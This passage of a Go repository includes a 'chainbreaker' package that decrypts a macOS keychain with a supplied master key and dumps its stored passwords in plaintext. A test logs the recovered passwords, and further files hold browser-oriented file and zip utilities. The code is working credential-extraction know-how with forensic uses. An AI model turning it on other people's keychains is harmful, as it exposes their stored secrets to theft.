IV []byte
}
type genericPasswordHeader struct {
RecordSize uint32
SSGPArea uint32
CreationDate uint32
ModDate uint32
Description uint32
Comment uint32
Creator uint32
Type uint32
PrintName uint32
Alias uint32
Account uint32
Service uint32
}
type ssgpBlock struct {
Magic []byte
Label []byte
IV []byte
EncryptedPassword []byte
}
type genericPassword struct {
Description string
Creator string
Type string
PrintName string
Alias string
Account string
Service string
Created string
LastModified string
Password string
PasswordBase64 bool
}
func New(path, unlockHex string) (*Keychain, error) {
buf, err := os.ReadFile(path)
if err != nil {
return nil, err
}
hdr, err := parseHeader(buf)
if err != nil {
return nil, err
}
if string(hdr.Signature[:]) != keychainSignature {
return nil, fmt.Errorf("invalid keychain signature: %q", hdr.Signature)
}
schema, tableList, err := parseSchema(buf, hdr.SchemaOffset)
if err != nil {
return nil, err
}
if schema.TableCount == 0 {
return nil, errors.New("schema does not list any tables")
}
kc := &Keychain{
buf: buf,
header: hdr,
tableList: tableList,
tableEnum: make(map[uint32]int),
keyList: make(map[string][]byte),
}
if err := kc.buildTableIndex(); err != nil {
return nil, err
}
metaOffset, err := kc.getTableOffset(cssmMetadata)
if err != nil {
return nil, err
}
kc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment
if kc.baseAddr+dbBlobSize > len(kc.buf) {
return nil, errors.New("db blob exceeds file size")
}
blob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize])
if err != nil {
return nil, err
}
kc.dbblob = blob
masterKey, err := decodeUnlockKey(unlockHex)
if err != nil {
return nil, err
}
dbKey, err := kc.findWrappingKey(masterKey)
if err != nil {
return nil, err
}
kc.dbKey = dbKey
if err := kc.generateKeyList(); err != nil {
return nil, err
}
return kc, nil
}
func parseHeader(buf []byte) (applDBHeader, error) {
if len(buf) < headerSize {
return applDBHeader{}, errors.New("file too small for header")
}
hdr := applDBHeader{}
copy(hdr.Signature[:], buf[:4])
hdr.Version = binary.BigEndian.Uint32(buf[4:8])
hdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12])
hdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16])
hdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20])
return hdr, nil
}
func parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) {
if int(offset)+schemaSize > len(buf) {
return applDBSchema{}, nil, errors.New("schema offset exceeds file size")
}
schema := applDBSchema{}
start := int(offset)
schema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4])
schema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8])
baseAddr := headerSize + schemaSize
tableList := make([]uint32, schema.TableCount)
for i := 0; i < int(schema.TableCount); i++ {
pos := baseAddr + i*atomSize
if pos+atomSize > len(buf) {
return applDBSchema{}, nil, errors.New("table list exceeds file size")
}
tableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize])
}
return schema, tableList, nil
}
func parseDBBlob(buf []byte) (dbBlob, error) {
if len(buf) < dbBlobSize {
return dbBlob{}, errors.New("db blob buffer too small")
}
blob := dbBlob{}
blob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
blob.TotalLength = binary.BigEndian.Uint32(buf[12:16])
// Salt and IV are located after the random signature (16 bytes), sequence (4 bytes),
// and DB parameters (8 bytes) inside the blob structure.
blob.Salt = append([]byte{}, buf[44:64]...)
blob.IV = append([]byte{}, buf[64:72]...)
return blob, nil
}
func decodeUnlockKey(hexKey string) ([]byte, error) {
cleaned := strings.TrimSpace(hexKey)
cleaned = strings.TrimPrefix(cleaned, "0x")
key, err := hex.DecodeString(cleaned)
if err != nil {
return nil, fmt.Errorf("unable to decode unlock key: %w", err)
}
if len(key) != keyLength {
return nil, fmt.Errorf("unlock key must be %d bytes (got %d)", keyLength, len(key))
}
return key, nil
}
func (kc *Keychain) buildTableIndex() error {
for idx, offset := range kc.tableList {
if offset == 0 {
continue
}
meta, _, err := kc.getTable(offset)
if err != nil {
continue
}
if _, exists := kc.tableEnum[meta.TableID]; !exists {
kc.tableEnum[meta.TableID] = idx
}
}
if len(kc.tableEnum) == 0 {
return errors.New("unable to derive table index")
}
return nil
}
func (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {
idx, ok := kc.tableEnum[tableID]
if !ok || idx >= len(kc.tableList) {
return 0, fmt.Errorf("table id %d not present", tableID)
}
return kc.tableList[idx], nil
}
func (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) {
offset, err := kc.getTableOffset(tableID)
if err != nil {
return tableHeader{}, nil, err
}
return kc.getTable(offset)
}
func (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) {
base := headerSize + int(offset)
if base < 0 || base+tableHeaderSize > len(kc.buf) {
return tableHeader{}, nil, errors.New("table header exceeds file size")
}
meta := tableHeader{}
data := kc.buf[base : base+tableHeaderSize]
meta.TableSize = binary.BigEndian.Uint32(data[0:4])
meta.TableID = binary.BigEndian.Uint32(data[4:8])
meta.RecordCount = binary.BigEndian.Uint32(data[8:12])
meta.Records = binary.BigEndian.Uint32(data[12:16])
meta.IndexesOffset = binary.BigEndian.Uint32(data[16:20])
meta.FreeListHead = binary.BigEndian.Uint32(data[20:24])
meta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28])
recordBase := base + tableHeaderSize
recordList := make([]uint32, 0, meta.RecordCount)
for idx := 0; idx < int(meta.RecordCount); idx++ {
pos := recordBase + idx*atomSize
if pos+atomSize > len(kc.buf) {
return meta, recordList, errors.New("record offset exceeds file size")
}
value := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize])
if value != 0 && value%4 == 0 {
recordList = append(recordList, value)
}
}
return meta, recordList, nil
}
func (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {
start := kc.baseAddr + int(kc.dbblob.StartCryptoBlob)
end := kc.baseAddr + int(kc.dbblob.TotalLength)
if start < 0 || end > len(kc.buf) || start >= end {
return nil, errors.New("db blob cipher bounds invalid")
}
plain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end])
if err != nil {
return nil, err
}
if len(plain) < keyLength {
return nil, errors.New("db key shorter than expected")
}
return append([]byte{}, plain[:keyLength]...), nil
}
func (kc *Keychain) generateKeyList() error {
_, records, err := kc.getTableFromType(cssmSymmetricKey)
if err != nil {
return err
}
for _, recordOffset := range records {
index, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset)
if err != nil {
continue
}
key, err := keyblobDecryption(ciphertext, iv, kc.dbKey)
if err != nil || len(key) == 0 {
continue
}
kc.keyList[string(index)] = key
}
if len(kc.keyList) == 0 {
return errors.New("no symmetric keys recovered")
}
return nil
}
func (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) {
base, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset)
if err != nil {
return nil, nil, nil, err
}
if base+keyBlobRecordHeaderSize > len(kc.buf) {
return nil, nil, nil, errors.New("keyblob header exceeds file size")
}
hdr := keyBlobRecordHeader{}
hdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4])
_ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount
recordStart := base + keyBlobRecordHeaderSize
recordEnd := base + int(hdr.RecordSize)
if recordEnd > len(kc.buf) {
return nil, nil, nil, errors.New("keyblob record exceeds file size")
}
record := kc.buf[recordStart:recordEnd]
if len(record) < keyBlobStructSize {
return nil, nil, nil, errors.New("keyblob structure incomplete")
}
blob, err := parseKeyBlob(record[:keyBlobStructSize])
if err != nil {
return nil, nil, nil, err
}
if blob.Magic != keyBlobMagic {
return nil, nil, nil, errors.New("unexpected keyblob magic")
}
if secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) {
return nil, nil, nil, errors.New("keyblob not part of secure storage group")
}
cipherStart := int(blob.StartCryptoBlob)
cipherEnd := int(blob.TotalLength)
if cipherEnd > len(record) || cipherStart >= cipherEnd {
return nil, nil, nil, errors.New("invalid cipher bounds")
}
cipherText := append([]byte{}, record[cipherStart:cipherEnd]...)
indexStart := int(blob.TotalLength) + 8
indexEnd := indexStart + 20
if indexEnd > len(record) {
return nil, nil, nil, errors.New("key index exceeds record length")
}
index := append([]byte{}, record[indexStart:indexEnd]...)
iv := append([]byte{}, blob.IV...)
return index, cipherText, iv, nil
}
func parseKeyBlob(buf []byte) (keyBlob, error) {
if len(buf) < keyBlobStructSize {
return keyBlob{}, errors.New("key blob buffer too small")
}
kb := keyBlob{}
kb.Magic = binary.BigEndian.Uint32(buf[0:4])
kb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])
kb.TotalLength = binary.BigEndian.Uint32(buf[12:16])
kb.IV = append([]byte{}, buf[16:24]...)
return kb, nil
}
func (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int, error) {
switch tableID {
case 23972, 30912:
tableID = 16
}
tableOffset, err := kc.getTableOffset(tableID)
if err != nil {
return 0, err
}
base := headerSize + int(tableOffset)
if offset != 0 {
base += int(offset)
}
if base > len(kc.buf) {
return 0, errors.New("base address exceeds buffer")
}
return base, nil
}
func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {
plain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob)
if err != nil {
return nil, err
}
if len(plain) == 0 {
return nil, errors.New("empty plain blob")
}
if len(plain) < 32 {
return nil, errors.New("wrapped blob too short")
}
rev := make([]byte, 32)
for i := 0; i < 32; i++ {
rev[i] = plain[31-i]
}
finalPlain, err := kcdecrypt(dbkey, iv, rev)
if err != nil {
return nil, err
}
if len(finalPlain) < 4 {
return nil, errors.New("final plain too short")
}
key := finalPlain[4:]
if len(key) != keyLength {
return nil, errors.New("invalid unwrapped key length")
}
return append([]byte{}, key...), nil
}
func kcdecrypt(key, iv, data []byte) ([]byte, error) {
if len(data) == 0 {
return nil, errors.New("ciphertext is empty")
}
if len(data)%blockSize != 0 {
return nil, errors.New("ciphertext not aligned to block size")
}
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
if len(iv) != blockSize {
return nil, errors.New("invalid IV length")
}
plain := make([]byte, len(data))
cipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data)
pad := int(plain[len(plain)-1])
if pad == 0 || pad > blockSize {
return nil, errors.New("invalid padding value")
}
for _, b := range plain[len(plain)-pad:] {
if int(b) != pad {
return nil, errors.New("padding verification failed")
}
}
return plain[:len(plain)-pad], nil
}
func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {
_, records, err := kc.getTableFromType(cssmGenericPassword)
if err != nil {
return nil, err
}
results := make([]genericPassword, 0, len(records))
for _, offset := range records {
rec, err := kc.parseGenericPasswordRecord(offset)
if err != nil {
continue
}
results = append(results, rec)
}
return results, nil
}
func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) {
base, err := kc.getBaseAddress(cssmGenericPassword, recordOffset)
if err != nil {
return genericPassword{}, err
}
if base+genericPasswordHeaderSize > len(kc.buf) {
return genericPassword{}, errors.New("generic password header exceeds file size")
}
header, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize])
if err != nil {
return genericPassword{}, err
}
recordEnd := base + int(header.RecordSize)
if recordEnd > len(kc.buf) {
return genericPassword{}, errors.New("generic password record exceeds file size")
}
buffer := kc.buf[base+genericPasswordHeaderSize : recordEnd]
ssgp, dbkey := kc.extractSSGP(header, buffer)
password, base64Encoded := decryptSSGP(ssgp, dbkey)
rec := genericPassword{
Description: kc.readLV(base, header.Description),
Creator: kc.readFourChar(base, header.Creator),
Type: kc.readFourChar(base, header.Type),
PrintName: kc.readLV(base, header.PrintName),
Alias: kc.readLV(base, header.Alias),
Account: kc.readLV(base, header.Account),
Service: kc.readLV(base, header.Service),
Created: kc.readKeychainTime(base, header.CreationDate),
LastModified: kc.readKeychainTime(base, header.ModDate),
Password: password,
PasswordBase64: base64Encoded,
}
return rec, nil
}
func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) {
if len(buf) < genericPasswordHeaderSize {
return genericPasswordHeader{}, errors.New("generic password header too small")
}
vals := make([]uint32, 22)
for i := 0; i < 22; i++ {
start := i * 4
vals[i] = binary.BigEndian.Uint32(buf[start : start+4])
}
hdr := genericPasswordHeader{
RecordSize: vals[0],
SSGPArea: vals[4],
CreationDate: vals[6],
ModDate: vals[7],
Description: vals[8],
Comment: vals[9],
Creator: vals[10],
Type: vals[11],
PrintName: vals[13],
Alias: vals[14],
Account: vals[19],
Service: vals[20],
}
return hdr, nil
}
func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) {
if header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) {
return nil, nil
}
block, err := parseSSGP(buffer[:header.SSGPArea])
if err != nil {
return nil, nil
}
keyIndex := make([]byte, 0, len(block.Magic)+len(block.Label))
keyIndex = append(keyIndex, block.Magic...)
keyIndex = append(keyIndex, block.Label...)
dbkey, ok := kc.keyList[string(keyIndex)]
if !ok {
return block, nil
}
return block, dbkey
}
func parseSSGP(buf []byte) (*ssgpBlock, error) {
if len(buf) < 28 {
return nil, errors.New("ssgp buffer too small")
}
block := &ssgpBlock{
Magic: append([]byte{}, buf[0:4]...),
Label: append([]byte{}, buf[4:20]...),
IV: append([]byte{}, buf[20:28]...),
EncryptedPassword: append([]byte{}, buf[28:]...),
}
return block, nil
}
func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {
if block == nil || len(dbkey) == 0 {
return keychainLockedSignature, false
}
plain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword)
if err != nil || len(plain) == 0 {
return keychainLockedSignature, false
}
if utf8.Valid(plain) {
return string(plain), false
}
return base64.StdEncoding.EncodeToString(plain), true
}
func (kc *Keychain) readKeychainTime(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+16 > len(kc.buf) {
return ""
}
raw := bytes.TrimRight(kc.buf[offset:offset+16], "\x00")
if len(raw) == 0 {
return ""
}
parsed, err := time.Parse("20060102150405Z", string(raw))
if err != nil {
return string(raw)
}
return parsed.Format(time.RFC3339)
}
func (kc *Keychain) readFourChar(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+4 > len(kc.buf) {
return ""
}
return strings.TrimRight(string(kc.buf[offset:offset+4]), "\x00")
}
func (kc *Keychain) readLV(base int, ptr uint32) string {
if ptr == 0 {
return ""
}
offset := base + maskedPointer(ptr)
if offset < 0 || offset+4 > len(kc.buf) {
return ""
}
length := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4]))
padded := alignToWord(length)
start := offset + 4
end := start + padded
if end > len(kc.buf) {
return ""
}
data := kc.buf[start : start+length]
data = bytes.TrimRight(data, "\x00")
return string(data)
}
func maskedPointer(value uint32) int {
return int(value & 0xFFFFFFFE)
}
func alignToWord(value int) int {
if value%4 == 0 {
return value
}
return ((value / 4) + 1) * 4
}
func readASCII(buf []byte, start, length int) string {
if start < 0 || start+length > len(buf) {
return ""
}
return string(buf[start : start+length])
}
================================================
FILE: utils/chainbreaker/chainbreaker_test.go
================================================
package chainbreaker
import (
"testing"
)
func TestUnlockKeychain(t *testing.T) {
keychain, err := New("./testdata/test.keychain-db", "6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde")
if err != nil {
t.Fatalf("Failed to unlock keychain: %v", err)
}
records, err := keychain.DumpGenericPasswords()
if err != nil {
t.Fatal(err)
}
for _, rec := range records {
t.Log("[+] Generic Password Record")
t.Logf(" [-] Service: %s\n", rec.Service)
t.Logf(" [-] Account: %s\n", rec.Account)
t.Logf(" [-] Description: %s\n", rec.Description)
t.Logf(" [-] Created: %s\n", rec.Created)
t.Logf(" [-] Last Modified: %s\n", rec.LastModified)
if rec.PasswordBase64 {
t.Logf(" [-] Base64 Password: %s\n", rec.Password)
} else {
t.Logf(" [-] Password: %s\n", rec.Password)
}
}
}
================================================
FILE: utils/fileutil/filetutil.go
================================================
package fileutil
import (
"archive/zip"
"bytes"
"fmt"
"os"
"path/filepath"
"strings"
cp "github.com/otiai10/copy"
)
// IsFileExists checks if the file exists in the provided path
func IsFileExists(filename string) bool {
info, err := os.Stat(filename)
if os.IsNotExist(err) {
return false
}
if err != nil {
return false
}
return !info.IsDir()
}
// IsDirExists checks if the folder exists
func IsDirExists(folder string) bool {
info, err := os.Stat(folder)
if os.IsNotExist(err) {
return false
}
if err != nil {
return false
}
return info.IsDir()
}
// ReadFile reads the file from the provided path
func ReadFile(filename string) (string, error) {
s, err := os.ReadFile(filename)
return string(s), err
}
// CopyDir copies the directory from the source to the destination
// skip the file if you don't want to copy
func CopyDir(src, dst, skip string) error {
s := cp.Options{Skip: func(info os.FileInfo, src, dst string) (bool, error) {
return strings.HasSuffix(strings.ToLower(src), skip), nil
}}
return cp.Copy(src, dst, s)
}
// CopyFile copies the file from the source to the destination
func CopyFile(src, dst string) error {
s, err := os.ReadFile(src)
if err != nil {
return err
}
err = os.WriteFile(dst, s, 0o600)
if err != nil {
return err
}
return nil
}
// Filename returns the filename from the provided path
func Filename(browser, dataType, ext string) string {
replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_")
return strings.ToLower(fmt.Sprintf("%s_%s.%s", replace.Replace(browser), dataType, ext))
}
func BrowserName(browser, user string) string {
replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_", "Profile", "user")
return strings.ToLower(fmt.Sprintf("%s_%s", replace.Replace(browser), replace.Replace(user)))
}
// ParentDir returns the parent directory of the provided path
func ParentDir(p string) string {
return filepath.Dir(filepath.Clean(p))
}
// BaseDir returns the base directory of the provided path
func BaseDir(p string) string {
return filepath.Base(p)
}
// ParentBaseDir returns the parent base directory of the provided path
func ParentBaseDir(p string) string {
return BaseDir(ParentDir(p))
}
// CompressDir compresses the directory into a zip file
func CompressDir(dir string) error {
files, err := os.ReadDir(dir)
if err != nil {
return fmt.Errorf("read dir error: %w", err)
}
if len(files) == 0 {
// Return an error if no files are found in the directory
return fmt.Errorf("no files to compress in: %s", dir)
}
buffer := new(bytes.Buffer)
zipWriter := zip.NewWriter(buffer)
defer func() {
_ = zipWriter.Close()
}()
for _, file := range files {
if err := addFileToZip(zipWriter, filepath.Join(dir, file.Name())); err != nil {
return fmt.Errorf("failed to add file to zip: %w", err)
}
}
if err := zipWriter.Close(); err != nil {
return fmt.Errorf("error closing zip writer: %w", err)
}
zipFilename := filepath.Join(dir, filepath.Base(dir)+".zip")
return writeFile(buffer, zipFilename)
}
func addFileToZip(zw *zip.Writer, filename string) error {
content, err := os.ReadFile(filename)
if err != nil {
return fmt.Errorf("error reading file %s: %w", filename, err)
}
fw, err := zw.Create(filepath.Base(filename))
if err != nil {
return fmt.Errorf("error creating zip entry for %s: %w", filename, err)
}
if _, err = fw.Write(content); err != nil {
return fmt.Errorf("error writing content to zip for %s: %w", filename, err)
}
if err = os.Remove(filename); err != nil {
return fmt.Errorf("error removing original file %s: %w", filename, err)
}
return nil
}
func writeFile(buffer *bytes.Buffer, filename string) error {
outFile, err := os.Create(filename)
if err != nil {
return fmt.Errorf("error creating output file %s: %w", filename, err)
}
defer func() {
_ = outFile.Close()
}()
if _, err = buffer.WriteTo(outFile); err != nil {
return fmt.Errorf("error writing data to file %s: %w", filename, err)
}
return nil
}
================================================
FILE: utils/fileutil/fileutil_test.go
================================================
package fileutil
import (
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func setupTestDir(t *testing.T, files []string) string {
t.Helper() // Marks the function as a helper function.
tempDir, err := os.MkdirTemp("", "testCompressDir")
require.NoError(t, err, "failed to create a temporary directory")
for _, file := range files {
filePath := filepath.Join(tempDir, file)
err := os.WriteFile(filePath, []byte("test content"), 0o644)
require.NoError(t, err, "failed to create a test file")
}
return tempDir
}
func TestCompressDir(t *testing.T) {
t.Run("Normal Operation", func(t *testing.T) {
tempDir := setupTestDir(t, []string{"file1.txt", "file2.txt", "file3.txt"})
defer os.RemoveAll(tempDir)
err := CompressDir(tempDir)
assert.NoError(t, err, "compressDir should not return an error")
// Check if the zip file exists
zipFile := filepath.Join(tempDir, filepath.Base(tempDir)+".zip")
assert.FileExists(t, zipFile, "zip file should be created")
})
t.Run("Directory Does Not Exist", func(t *testing.T) {
err := CompressDir("/path/to/nonexistent/directory")
assert.Error(t, err, "should return an error for non-existent directory")
})
t.Run("Empty Directory", func(t *testing.T) {
tempDir, err := os.MkdirTemp("", "testEmptyDir")
require.NoError(t, err, "failed to create empty test directory")
defer os.RemoveAll(tempDir)
err = CompressDir(tempDir)
assert.Error(t, err, "should return an error for an empty directory")
})
}
================================================
FILE: utils/typeutil/typeutil.go
================================================
package typeutil
import (
"time"
)
// Keys returns a slice of the keys of the map. based with go 1.18 generics
func Keys[K comparable, V any](m map[K]V) []K {
r := make([]K, 0, len(m))
for k := range m {
r = append(r, k)
}
return r
}
// Signed is a constraint that permits any signed integer type.
// If future releases of Go add new predeclared signed integer types,
// this constraint will be modified to include them.
type Signed interface {
~int | ~int8 | ~int16 | ~int32 | ~int64
}
func IntToBool[T Signed](a T) bool {
switch a {
case 0, -1:
return false
}
return true
}
func Reverse[T any](s []T) []T {
h := make([]T, len(s))
for i := 0; i < len(s); i++ {
h[i] = s[len(s)-i-1]
}
return h
}
func TimeStamp(stamp int64) time.Time {
s := time.Unix(stamp, 0)
if s.Local().Year() > 9999 {
return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local)
}
return s
}
func TimeEpoch(epoch int64) time.Time {
maxTime := int64(99633311740000000)
if epoch > maxTime {
return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
}
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local)
d := time.Duration(epoch)
for i := 0; i < 1000; i++ {
t = t.Add(d)
}
return t
}
================================================
FILE: utils/typeutil/typeutil_test.go
================================================
package typeutil
import (
"testing"
)
func TestReverse(t *testing.T) {
t.Parallel()
reverseTestCases := [][]any{
{1, 2, 3, 4, 5},
{"1", "2", "3", "4", "5"},
{"1", 2, "3", "4", 5},
}
for _, ts := range reverseTestCases {
h := Reverse(ts)
for i := 0; i < len(ts); i++ {
if h[len(h)-i-1] != ts[i] {
t.Errorf("reverse failed %v != %v", h, ts)
}
}
}
}